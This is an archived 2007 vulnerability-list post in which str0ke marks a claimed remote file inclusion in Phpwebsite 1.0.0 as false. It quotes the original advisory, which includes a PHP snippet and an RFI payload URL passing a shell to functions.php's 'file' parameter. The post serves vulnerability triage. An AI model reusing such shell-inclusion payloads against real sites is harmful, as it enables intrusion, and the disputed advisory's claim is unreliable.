[VIM] false: Phpwebsite 1.0.0 File İnclude Vulnerability

str0ke str0ke at milw0rm.com
Wed Feb 7 10:27:28 EST 2007


The error section pretty much explains it all.

/str0ke

-------------------------------------********************----------------------------------------------------------
#Title : Phpwebsite 1.0.0 {/inc/functions.php} File İnclude Vulnerability

#S.Page : phpwebsite.appstate.edu :)

--------------------------------------*******************-----------------------------------------------------------
[[Error]]

$file = sprintf('Compat/Function/%s.php', $function);

        if ((@include_once $file) !== false) {
            return true;
        }
    }

    return false;
}

[[Error]]


[[RFI]]

http://[target]/[path]/inc/functions.php?file=[Shell]


More information about the VIM mailing list